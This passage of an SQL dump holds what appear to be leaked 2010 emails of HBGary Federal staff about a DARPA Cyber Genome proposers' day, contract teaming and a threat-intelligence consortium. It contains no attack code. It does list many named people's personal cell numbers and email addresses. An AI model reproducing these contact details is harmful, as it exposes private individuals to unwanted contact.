support DoD law enforcement, counter intelligence, andcyber defense teams. Digital artifacts may be collected from livesystems (traditional computers, personal digital assistants, and/ordistributed information systems such as ‘cloud computers\'), from wiredor wireless networks, or collected storage media. The format mayinclude electronic documents or software (to include malicioussoftware - malware). The Cyber Genome Program will encompass severalprogram phases and technical areas of interest. Each of the technicalareas will develop the cyber equivalent of fingerprints or DNA tofacilitate developing the digital equivalent of genotype, as well asobserved and inferred phenotype in order to determine the identity,lineage, and provenance of digital artifacts and users.REGISTRATION INFORMATION Participants must register for the CYBERGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January27, 2010, at the following website:&nbsp;http://safe.sysplan.com/sto/.Attendance will be limited to a maximum of three individuals perorganization. The Proposers\' Day is intended for participants fromindustry and academia; it is not intended for parties who are notinterested in bidding or participating on a bidding team, e.g. thepublic or members of the press. Government attendees will be invitedseparately. Organizations interested in participating in the programwho are not able to attend the Proposers\' Day, may still register onthe teaming website:&nbsp;http://www.davincinetbook.com/teams.Attendance is restricted to U.S. Citizens only. Attendees are requiredto submit a U.S. Citizenship Verification form in order to attend thisconference. The completed Citizenship Form must be emailed to:DARPA-BAA-10-36@darpa.mil&nbsp;no later than 5:00 p.m. EST January 27,2010. The Citizenship Form is available for download at theregistration website. Attendees will be required to present governmentissued photo identification upon entry to the event. Attendance is notrequired to propose to any associated BAA.Additionally, attendees who would like to present company overviews,discuss their technology expertise, and/or discuss teamingopportunities in scheduled presentations at the conference may requestto do so. Presentations may contain 5 slides and are limited tofifteen (15) minutes each (including logistical issues). Proposersdesiring to reserve a time to present at the Proposers\' Day Conferenceshould contact&nbsp;DARPA-BAA-10-36@darpa.mil&nbsp;as soon as possible, but nolater than the registration cutoff date for the Proposers\' DayConference.All material to be displayed at the conference must be approved inadvance by both the organization that funded the research and theDARPA Program Manager. The DARPA Program Manager will screen theproposed material for sensitive but unclassified material and approvein advance any presentations. It is the presenter\'s responsibility toensure that all material they plan to present at the Proposers\' DayConference has been approved by the funding organization in advance.After the conference, there will be an opportunity to meetindividually with Dr. Michael VanPutte, the Cyber Genome ProgramManager. Please contact Larry Blankenship atlarry.blankenship.ctr@darpa.mil&nbsp;to schedule an individual session.Contracting Office Address:3701 North Fairfax DriveArlington, Virginia 22203-1714Primary Point of Contact.:BAA Coordinator,BAA CoordinatorDARPA-BAA-10-36@darpa.mil--Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623&nbsp;\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\nTed H. VeraPresident | COOHB Gary Federalted@hbgary.comOffice: &nbsp;916-459-4727 ext 118Cell: &nbsp;719-237-8623\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6767,'aaron_hbgary_com/6767.html'),(1471,'2010-01-26','\"LinkedIn Discussions\" <discussions-noreply@linkedin.com>','/aaron@hbgary.com/new/1297000416.M523340P3547Q1471.eml','\"Aaron Barr\" <aaron@hbgary.com>','You have a new comment on your status: In-sourcing #cyber #security is the wrong answer, it will only create more insecurity. Strong public/private partners. http://bit.ly/6HEQNY','\r\n\r\n  \r\n  \r\n    \r\n      LinkedIn Status Update\r\n    \r\n    \r\n      \r\n            Aaron Barr,\r\n            Kevin Youngblood has just left a comment on your status,  \"In-sourcing #cyber #security is the wrong answer, it will only create more insecurity. Strong public/private partners. http://bit.ly/6HEQNY\"\r\n            \"Hey Aaron - couldn\'t agree more!\"\r\n            Reply\r\n      \r\n    \r\n    \r\n      \r\n          Don\'t want to receive email notifications?  Adjust your message settings. LinkedIn values your privacy. At no time has Linkedin made your email address available to any other LinkedIn user without your permission.\r\n&#169; 2010, LinkedIn Corporation\r\n      \r\n    \r\n  \r\n  \r\n\r\n',9058,'aaron_hbgary_com/9058.html'),(1472,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000416.M706017P3547Q1472.eml','\"John Farrell\" <john@endgames.us>','Re: AF BAA','I agree. &nbsp;That one is in FBO under&nbsp;N66001-10-X-0012.I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.the C4ISR BAA I think would be a good fit for our consortium capabilities.What do you think?AaronOn Jan 25, 2010, at 10:53 AM, John Farrell wrote:i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.Have you seen this attached BAA? Might be another one where we could team up.thanks&lt;SSC ATLANTIC BAA NO BIDS 8 DEC 09 DLK.doc&gt;On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:Hey John,Are you guys responding to this? &nbsp;Want to go after it together? &nbsp;I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about. &nbsp;Seems like a good combination.&lt;NWOC_BAA_10_0001.pdf&gt;Aaron BarrCEOHBGary Federal Inc.John M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8546,'aaron_hbgary_com/8546.html'),(1473,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000416.M900693P3547Q1473.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?AaronOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4213,'aaron_hbgary_com/4213.html'),(1474,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000417.M108417P3547Q1474.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Nice maps','This sites a good site for Malware stuff.  I don\'t get back to it as often as I would like.\r\n\r\nAaron\r\n\r\nOn Jan 23, 2010, at 6:35 PM, Ted Vera wrote:\r\n\r\n> Have you seen the maps available here:\r\n> \r\n> http://www.shadowserver.org/\r\n> \r\n> Ted\r\n> \r\n> \r\n> Ted H. Vera\r\n> President | COO\r\n> HB Gary Federal\r\n> ted@hbgary.com\r\n> Office:  916-459-4727 ext 118\r\n> Cell:  719-237-8623\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16455,'aaron_hbgary_com/16455.html'),(1475,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000417.M314805P3547Q1475.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: Meet this week? Integration discussion & I want to introduce CEO  of HBGary Federal - Aaron Barr','on the Cyber Intelligence Consortium (CIC) I will definitely work to ensure we can get as much of the data as possible to Sac.  Is there anyone besides Rich that would like to attend tomorrow virtually.  I can set up a gotomeeting or something.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 22, 2010, at 7:40 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Team,\r\n>  \r\n> Regarding the integration, we are pulling down over 1 gig of malware every morning over here in Sac.  Here are some basic data strings we will want to pull for link-analysis:\r\n> - IP addresses\r\n> - URL\'s (full path)\r\n> - C&C filenames (extracted from URL\'s, login.php etc, cgi\'s)\r\n> - potential developer drive paths (f:\\aurora\\.., etc)\r\n> - GTG DDNA Sequence\r\n> - Registry Keys\r\n> - File Paths (%WINNT%/System32, etc..)\r\n>  \r\n> (Note: I am waiting to find out what, if any, data from our partners will be integrated at the Sacramento facility.)\r\n>  \r\n> All strings will be stored, of course, but the above will be tag-typed so we can filter just against those sets.  I am sure there are alot more. I have briefed Scott on a potential database schema, and prototyped the first version of our TMC management and analysis tool.  Shawn will take the lead engineering position in the TMC, and fulfill the head analyst role.  Martin is moving to full-time engineering and will backfill for Shawn in the product team.  The next iteration following the 2.0 Responder release will be 100% focused on the Digital DNA quality, removal of false positives, and standing up the first version of the TMC here in Sacramento.  We plan on briefing Aaron and Ted on the TMC design with the goal of replicating it in Colorado Springs.  So far, I am commited to the idea that Michael will develop the first integration / data feed between TMC and the Palantir interface, and this code will be delivered to Ted in the \'springs to help them kickstart.  I am not sure to what extent we will leverage Palantir in the Sac TMC given that it\'s a limited version.  We can certainly exercise it and I want to highlight it in the press/media.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15776,'aaron_hbgary_com/15776.html'),(1476,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000417.M518143P3547Q1476.eml','\"Tom Conroy\" <tom.conroy@ngc.com>,\"Tom Conroy\" <tom.conroy@ngc.com>','Fwd: Idea','I love being able to do stuff like this now.I sent an email back to Jake suggesting that our consortium could be the fast moving prototype capability to his non-profit. &nbsp;We will see how the conversation progresses.AaronBegin forwarded message:From: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Date: January 25, 2010 11:46:15 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: IdeaAaron - sounds cool! We\'ve actually been discussing an approach likethis on the CSIS commission lately (the idea they\'ve been hashing aroundis how to achieve greater situational awareness, but they\'ve beenproposing a non-profit agency to allow everyone to access specificinformation). Would like to discuss with you - busy this week and next, but maybeearly Feb?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, January 22, 2010 8:49 AMTo: Olcott, JacobSubject: IdeaJake,I have put together a subset of highly capable companies for thepurposes of improving threat intelligence, believing that we have toimprove our knowledge of the threat before we can improve our security.Once we have a better threat picture we integrate moreproactive/reactive security capabilities and more effectively manageenterprise security based on our knowledge of the threat.A good cyber intelligence capability needs to cover and integrate allareas of cyber: executable, host, network, internet, and socialanalysis. &nbsp;These companies represent a best of breed, completeend-to-end cyber intelligence picture. &nbsp;Using Palantir as the frameworkfor organizing the data feeds from the other companies and overlayingthat data with other social network analysis.Application - HBGary (automated malware detection based on traits andcode fingerprinting)Host - Splunk (host based security monitoring)Network - Netwitness (Network Forensics, full textual analysis)Internet - EndGames (External network monitoring, botnet C2 monitoring,zero days)Social - Palantir (link analysis framework for intelligence)I am bringing these companies together in an consortium, they have allbought in. &nbsp;Rather than a typical integrator model, keeping the productcompanies at arms length, a consortium puts us all on a more levelplaying field and forces us to think about the right solution ratherthan a particular offering.As we talked about before. &nbsp;There are significant organizational andcontractual impedance\'s from bringing together the necessary pieces toenhance our cybersecurity. &nbsp;So it occured to me, why not do for cyberintelligence what Space-X did for space exploration and satellitedeployments. &nbsp;Forget the bureaucracy, develop the complete solutionexternally from the mad house. &nbsp;The individual products from thesecompanies alone are significant, imagine what can be produced once weintegrate them.What do you think?Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2872,'aaron_hbgary_com/2872.html');
INSERT INTO `emails` VALUES (1477,'2010-01-26','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000417.M761960P3547Q1477.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Cyber Genome Program Proposers Day','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI see the program manager for the brief on Friday is Dr. Michael\r\nVanPutte.&nbsp; I hope this is the same person as Major Michael VanPutte from\r\nJTF-GNO circa 3-5 years ago.&nbsp; I know him a little from some work I did with him\r\nwhile I was at Guidance. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, January 25, 2010 10:55 PM\r\nTo: Rich Cummings\r\nCc: Aaron Barr; Greg Hoglund; Bob Slapnik\r\nSubject: Re: Cyber Genome Program Proposers Day\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Rich,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKeep in mind that the presentations will be made publicly\r\navailable on FBO.gov after the industry day, so it\r\nis better to keep the charts high level -- save the details for your verbal\r\npresentation. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 25, 2010, at 8:18 PM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob, Penny, Greg, Phil,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI called &nbsp;and spoke with Ted and Aaron right after reading\r\nthis as I was thinking WTF?&nbsp; &nbsp;Right now Aaron and I are planning to\r\ngo.&nbsp; Greg are you interested in going?&nbsp; I&#8217;m putting together a\r\npresentation which I&#8217;ll send over for review.&nbsp; Any input is welcome.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre these guys reading our email? ;P\r\n\r\n\r\n\r\n\r\n\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, January 25,\r\n2010 10:13 PM\r\nTo:&nbsp;Ted Vera; Penny C.\r\nHoglund; Greg Hoglund\r\nCc:&nbsp;Rich Cummings; Barr\r\nAaron; Phil Wallisch\r\nSubject:&nbsp;Re: Cyber Genome\r\nProgram Proposers Day\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed, Greg, Penny and Rich,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheck this out.&nbsp; Ted sent out an email about DARPA\'s\r\nupcoming Cyber Genome Program Proposers\' Day.&nbsp; Did they get this idea from\r\nus?&nbsp; It looks like maybe DARPA will be awarding one or more contractors to\r\ndevelop a Cyber Genome.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAccording to the info we can send up to 3 people and have to\r\nregister by Jan 27.&nbsp; Let\'s figure out what we want to do.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Jan 25, 2010 at 9:24 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Rich, Phil &amp; Bob,\r\n\r\nAaron would like to attend, but has meetings scheduled with Senior VPs\r\nat NG and TASC. &nbsp;Would either of you Rich, Phil or Bob be able to\r\nattend?\r\n\r\nTed\r\n\r\n\r\n\r\nCyber Genome Program Proposers\' Day\r\nSolicitation Number: DARPA-SN-10-22\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=0efff97ec44aada63117f050bc43d86f&amp;tab=core&amp;_cview=0\r\n\r\nSynopsis:\r\nAdded: Jan 25, 2010 3:59 pm\r\nPROPOSERS\' DAY CONFERENCE\r\nDARPA will host a Proposers\' Day Workshop in support of\r\nDARPA-BAA-10-36, CYBER GENOME PROGRAM on January 29, 2010 at the\r\nBallston Hilton, 950 North Stafford Street, Arlington, VA 22203 from\r\n8:00 a.m. to 6:00 p.m. EST. The purpose of this conference is to\r\nprovide information on the CYBER GENOME PROGRAM; promote additional\r\ndiscussion on this topic; address questions from potential proposers;\r\nand provide a forum for potential proposers to present their\r\ncapabilities for teaming opportunities.\r\nA second Proposers\' Day Workshop will be held on February 8, 2010.\r\nLocation will be in the Arlington, Virginia area and will be announced\r\non the Proposers\' Day website (http://safe.sysplan.com/sto/).\r\n\r\n\r\nPROGRAM OBJECTIVE AND DESCRIPTION:\r\nThe objective of the Cyber Genome Program is to produce revolutionary\r\ncyber defense and investigatory technologies for the collection,\r\nidentification, characterization, and presentation of properties and\r\nrelationships from collected digital artifacts of software, data,\r\nand/or users to support DoD law enforcement, counter intelligence, and\r\ncyber defense teams. Digital artifacts may be collected from live\r\nsystems (traditional computers, personal digital assistants, and/or\r\ndistributed information systems such as &#8216;cloud computers\'), from wired\r\nor wireless networks, or collected storage media. The format may\r\ninclude electronic documents or software (to include malicious\r\nsoftware - malware). The Cyber Genome Program will encompass several\r\nprogram phases and technical areas of interest. Each of the technical\r\nareas will develop the cyber equivalent of fingerprints or DNA to\r\nfacilitate developing the digital equivalent of genotype, as well as\r\nobserved and inferred phenotype in order to determine the identity,\r\nlineage, and provenance of digital artifacts and users.\r\n\r\n\r\nREGISTRATION INFORMATION Participants must register for the CYBER\r\nGENOME PROGRAM Proposers\' Day no later than 5:00 p.m. EST on January\r\n27, 2010, at the following website:&nbsp;http://safe.sysplan.com/sto/.\r\nAttendance will be limited to a maximum of three individuals per\r\norganization. The Proposers\' Day is intended for participants from\r\nindustry and academia; it is not intended for parties who are not\r\ninterested in bidding or participating on a bidding team, e.g. the\r\npublic or members of the press. Government attendees will be invited\r\nseparately. Organizations interested in participating in the program\r\nwho are not able to attend the Proposers\' Day, may still register on\r\nthe teaming website:&nbsp;http://www.davincinetbook.com/teams.\r\n\r\n\r\nAttendance is restricted to U.S. Citizens only. Attendees are required\r\nto submit a U.S. Citizenship Verification form in order to attend this\r\nconference. The completed Citizenship Form must be emailed to:\r\nDARPA-BAA-10-36@darpa.mil&nbsp;no later than 5:00 p.m. EST January\r\n27,\r\n2010. The Citizenship Form is available for download at the\r\nregistration website. Attendees will be required to present government\r\nissued photo identification upon entry to the event. Attendance is not\r\nrequired to propose to any associated BAA.\r\n\r\n\r\nAdditionally, attendees who would like to present company overviews,\r\ndiscuss their technology expertise, and/or discuss teaming\r\nopportunities in scheduled presentations at the conference may request\r\nto do so. Presentations may contain 5 slides and are limited to\r\nfifteen (15) minutes each (including logistical issues). Proposers\r\ndesiring to reserve a time to present at the Proposers\' Day Conference\r\nshould contact&nbsp;DARPA-BAA-10-36@darpa.mil&nbsp;as soon as possible, but no\r\nlater than the registration cutoff date for the Proposers\' Day\r\nConference.\r\n\r\n\r\nAll material to be displayed at the conference must be approved in\r\nadvance by both the organization that funded the research and the\r\nDARPA Program Manager. The DARPA Program Manager will screen the\r\nproposed material for sensitive but unclassified material and approve\r\nin advance any presentations. It is the presenter\'s responsibility to\r\nensure that all material they plan to present at the Proposers\' Day\r\nConference has been approved by the funding organization in advance.\r\n\r\n\r\nAfter the conference, there will be an opportunity to meet\r\nindividually with Dr. Michael VanPutte, the Cyber Genome Program\r\nManager. Please contact Larry Blankenship at\r\nlarry.blankenship.ctr@darpa.mil&nbsp;to schedule an individual session.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nContracting Office Address:\r\n3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714\r\nPrimary Point of Contact.:\r\nBAA Coordinator,\r\nBAA Coordinator\r\nDARPA-BAA-10-36@darpa.mil\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed H. Vera\r\n\r\n\r\n\r\n\r\n\r\nPresident | COO\r\n\r\n\r\n\r\n\r\n\r\nHB Gary Federal\r\n\r\n\r\n\r\n\r\n\r\nted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nOffice: &nbsp;916-459-4727 ext 118\r\n\r\n\r\n\r\n\r\n\r\nCell: &nbsp;719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14107,'aaron_hbgary_com/14107.html'),(1478,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000418.M11396P3547Q1478.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,','Fwd: DARPA PM','Same dude.Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: January 25, 2010 10:46:58 PM ESTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: DARPA PMDr. Michael (Mike) VanPutte, Ph.D., CISSPDr. VanPutte joined DARPA in 2006 as a Program Manager in theStrategic Technology Office. Dr. VanPutte\'s interests lie primarily inthe areas of information assurance and computer network operations,secure computing, artificial intelligence, and multi-agent systems. Heis also interested in military combat diving and technical divingtechnologies.Dr. VanPutte retired from the Army after twenty years of service inSeptember 2008; he served 7 years as a combat engineer officer and 13years as a computer systems engineer. From 2004 to 2006, Dr. VanPuttewas the Deputy Director of Operations and Chief, Strategic DefenseOperations at the Joint Task Force - Global Network Operations, U.S.Strategic Command, responsible for improving the strategic posture andresponding to cyber intrusions in DoD networks. From 2002 to 2004, hewas the Chief, Technical Analysis Branch, responsible for the analysisof new threats and counter measures to DoD networks. From 1997 to1999, Dr. VanPutte was the Chief, Knowledge Engineering Group, at theArmy War College, where he developed state of the art computer models,simulations and decision support tools to support strategic wargames,seminars, strategic decision making processes, education programs, andadministrative systems. He was also the primary investigator on anintelligent agent system to simulate the monitoring of nationalcritical infrastructures to detect, analyze, identify, and correlateinformation and provide warnings of information-based warfare attacks.Dr. VanPutte received a BS in Management Information Systems from TheOhio State University, an MS in Computer Science from the Universityof Missouri, Columbia, and a Ph.D. in Computer Science from the NavalPostgraduate School.-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5793,'aaron_hbgary_com/5793.html'),(1479,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000424.M832705P3547Q1479.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Slides for Tomorrow','Brian,\r\n\r\nAttached are some slides I was putting together for tomorrows meeting.  Still rough, let me know what you think.\r\n\r\n',10418,'aaron_hbgary_com/10418.html'),(1480,'2010-01-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000430.M962460P3547Q1480.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','slides for tomorrow','Matt,\r\n\r\nrough slides.  Comments?\r\n\r\n',11408,'aaron_hbgary_com/11408.html'),(1481,'2010-01-26','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000431.M524064P3547Q1481.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Slides for Tomorrow','Aaron,\r\nWhat is the .key file?  Windows thinks it is a reg file but cannot open\r\nit.  Is it a ppt?\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3543\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 11:57 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Slides for Tomorrow\r\n\r\nBrian,\r\n\r\nAttached are some slides I was putting together for tomorrows meeting.\r\nStill rough, let me know what you think.\r\n\r\n',2627,'aaron_hbgary_com/2627.html'),(1482,'2010-01-26','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297000431.M838933P3547Q1482.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Idea','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nis pretty impressive.&nbsp; Now think of our opponents who are unfettered by\r\ngovernment constraints, and in fact are encouraged to be as entrepreneurial as\r\nthey can be.&nbsp; And overlay that with the number of smart people they have\r\navailable to advance their cause, combined with enthusiasm for success\r\nunfettered by high expectations of wealth.&nbsp; It&#8217;s downright\r\nscary.&nbsp; In the long run we&#8217;ll likely have to make fundamental\r\nchanges in the way the internet is implemented to close ALL the loopholes to\r\nhacking, something not likely in our lifetime but essential to security I would\r\nthink.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 11:38 PM\r\nTo: Conroy, Thomas W.\r\nCc: Barnett, Jim H.\r\nSubject: Fwd: Idea\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI love being able to do stuff like this now.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI sent an email back to Jake suggesting that our consortium\r\ncould be the fast moving prototype capability to his non-profit. &nbsp;We will\r\nsee how the conversation progresses.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Olcott,\r\nJacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJanuary\r\n25, 2010 11:46:15 AM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: Idea\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron - sounds cool! We\'ve\r\nactually been discussing an approach like\r\nthis on the CSIS commission lately (the idea they\'ve been hashing around\r\nis how to achieve greater situational awareness, but they\'ve been\r\nproposing a non-profit agency to allow everyone to access specific\r\ninformation). \r\nWould like to discuss with you - busy this week and next, but maybe\r\nearly Feb?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 22, 2010 8:49 AM\r\nTo: Olcott, Jacob\r\nSubject: Idea\r\n\r\nJake,\r\n\r\n\r\nI have put together a subset of highly capable companies for the\r\npurposes of improving threat intelligence, believing that we have to\r\nimprove our knowledge of the threat before we can improve our security.\r\nOnce we have a better threat picture we integrate more\r\nproactive/reactive security capabilities and more effectively manage\r\nenterprise security based on our knowledge of the threat.\r\n\r\nA good cyber intelligence capability needs to cover and integrate all\r\nareas of cyber: executable, host, network, internet, and social\r\nanalysis. &nbsp;These companies represent a best of breed, complete\r\nend-to-end cyber intelligence picture. &nbsp;Using Palantir as the framework\r\nfor organizing the data feeds from the other companies and overlaying\r\nthat data with other social network analysis.\r\n\r\nApplication - HBGary (automated malware detection based on traits and\r\ncode fingerprinting)\r\nHost - Splunk (host based security monitoring)\r\nNetwork - Netwitness (Network Forensics, full textual analysis)\r\nInternet - EndGames (External network monitoring, botnet C2 monitoring,\r\nzero days)\r\nSocial - Palantir (link analysis framework for intelligence)\r\n\r\nI am bringing these companies together in an consortium, they have all\r\nbought in. &nbsp;Rather than a typical integrator model, keeping the product\r\ncompanies at arms length, a consortium puts us all on a more level\r\nplaying field and forces us to think about the right solution rather\r\nthan a particular offering.\r\n\r\nAs we talked about before. &nbsp;There are significant 